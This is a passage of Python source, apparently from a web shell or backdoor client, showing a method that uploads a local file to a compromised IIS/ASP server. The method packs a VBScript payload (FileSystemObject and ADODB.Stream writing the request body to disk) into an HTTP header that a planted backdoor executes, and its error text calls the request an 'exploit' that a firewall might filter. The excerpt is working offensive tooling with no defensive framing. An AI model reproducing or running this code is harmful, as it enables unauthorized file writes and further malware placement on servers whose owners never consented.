(self, options: str)
| 269 | @brief See base class for details. |
| 270 | """ |
| 271 | def _Base__upload(self, options: str): |
| 272 | if len(options) == 0: |
| 273 | raise CommandException("Specify a file to upload.") |
| 274 | local_file_path = Path(options) |
| 275 | if not local_file_path.exists(): |
| 276 | raise CommandException("File does not exist.") |
| 277 | if not local_file_path.is_file(): |
| 278 | raise CommandException("File is not a file.") |
| 279 | |
| 280 | url = f"{self.host}{self.path}" |
| 281 | if not self.host.startswith("http"): |
| 282 | url = "http://" + url |
| 283 | try: |
| 284 | if self.__file_exists(local_file_path.name): # uncomment me after debugging |
| 285 | choice = input("Override existing file? [y/N] ") |
| 286 | if not choice.lower().startswith('y'): |
| 287 | return |
| 288 | filePath = self.directory + "\\" + options.replace("/", "\\") |
| 289 | message = ( |
| 290 | "Set fileSys = " |
| 291 | "Server.CreateObject(\"Scripting.FileSystemObject\"):" |
| 292 | f"With fileSys.createTextFile(\"{filePath}\"):" |
| 293 | "Set adodb = Server.CreateObject(\"ADODB.Stream\"):" |
| 294 | "adodb.Type = 1:" |
| 295 | "adodb.Open:" |
| 296 | "Dim bSize: bSize = Request.TotalBytes:" |
| 297 | "adodb.Write(Request.BinaryRead(bSize)):" |
| 298 | "adodb.Position = 0:adodb.Type = 2:" |
| 299 | "adodb.Charset = \"iso-8859-1\":" |
| 300 | ".Write(adodb.ReadText()):" |
| 301 | "adodb.Close:" |
| 302 | ".Close:" |
| 303 | "End With:" |
| 304 | f"Response.AddHeader \"{self.header}\", \"Done.\":" |
| 305 | ) |
| 306 | print("Uploading file...") |
| 307 | binary = local_file_path.read_bytes() |
| 308 | |
| 309 | response = requests.request( |
| 310 | self.method, |
| 311 | url, |
| 312 | headers={ f"{self.header}": message }, |
| 313 | data=binary |
| 314 | ) |
| 315 | if not response.ok: |
| 316 | raise Exception() |
| 317 | if not self.header in response.headers: |
| 318 | raise CommandException( |
| 319 | f"No message sent back from server, your exploit is " |
| 320 | f"probably being filtered by a firewall.") |
| 321 | |
| 322 | print(response.headers[self.header]) |
| 323 | except Exception as e: |
| 324 | raise CommandException(f"Message was not successfully processed.") |
| 325 | |
| 326 | """ |
| 327 | @brief See base class for details. |
nothing calls this directly
no test coverage detected